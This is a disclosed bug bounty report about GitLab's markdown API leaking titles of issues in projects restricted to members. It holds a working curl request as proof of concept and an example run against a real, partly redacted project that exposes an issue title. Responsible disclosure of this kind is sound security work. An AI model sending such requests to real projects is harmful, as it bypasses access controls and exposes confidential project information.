GFM markdown API discloses issue titles of limited projects
HackerOne report #1450306 by shells3c
on 2022-01-15, assigned to @nmalcolm:
Report
Summary
GFM markdown API allows unauthenticated users to read issue titles of projects that have permission for issues set to Only Project Members
Steps to reproduce
- Create a project, set
Issues
visibility toOnly Project Members
- Create an issue
- Execute this command (replace
[user]/[project]
with your project namespace):
curl -H 'Content-Type: application/json' -d '{"project":"[username]/[project]","text":"See #1","gfm":true}' 'https://gitlab.com/api/v4/markdown'
- The response will disclose the title of issue
#1
(attributetitle
):
{"html":"\u003cp data-sourcepos=\"1:1-1:6\" dir=\"auto\"\u003eSee \u003ca href=\"https://gitlab.com/[user]/[project]/-/issues/1\" data-original=\"#1\" data-link=\"false\" data-link-reference=\"false\" data-project=\"[Project ID]\" data-issue=\"[Issue ID]\" data-reference-type=\"issue\" data-container=\"body\" data-placement=\"top\" title=\"This is a private issue\" class=\"gfm gfm-issue has-tooltip\"\u003e#1\u003c/a\u003e\u003c/p\u003e"}
Examples
Visit: https://gitlab.com/[REDACTED]/alertmanager/-/issues and you can see that the visibility is restricted. Now execute this command:
curl -H 'Content-Type: application/json' -d '{"project":"[REDACTED]/alertmanager","text":"See #7","gfm":true}' 'https://gitlab.com/api/v4/markdown'
Response:
{"html":"\u003cp data-sourcepos=\"1:1-1:6\" dir=\"auto\"\u003eSee \u003ca href=\"https://gitlab.com/[REDACTED]/alertmanager/-/issues/7\" data-original=\"#7\" data-link=\"false\" data-link-reference=\"false\" data-project=\"25681831\" data-issue=\"100690987\" data-reference-type=\"issue\" data-container=\"body\" data-placement=\"top\" title=\"Internal\" class=\"gfm gfm-issue has-tooltip\"\u003e#7\u003c/a\u003e\u003c/p\u003e"}
As you can see, the title of issue #7
is Internal
, you can check other issues if you want
Output of checks
This bug happens on GitLab.com
Impact
Accessing all issue titles of projects have visibility of issues is Only Project Members
How To Reproduce
Please add reproducibility information to this section:
Edited by Costel Maxim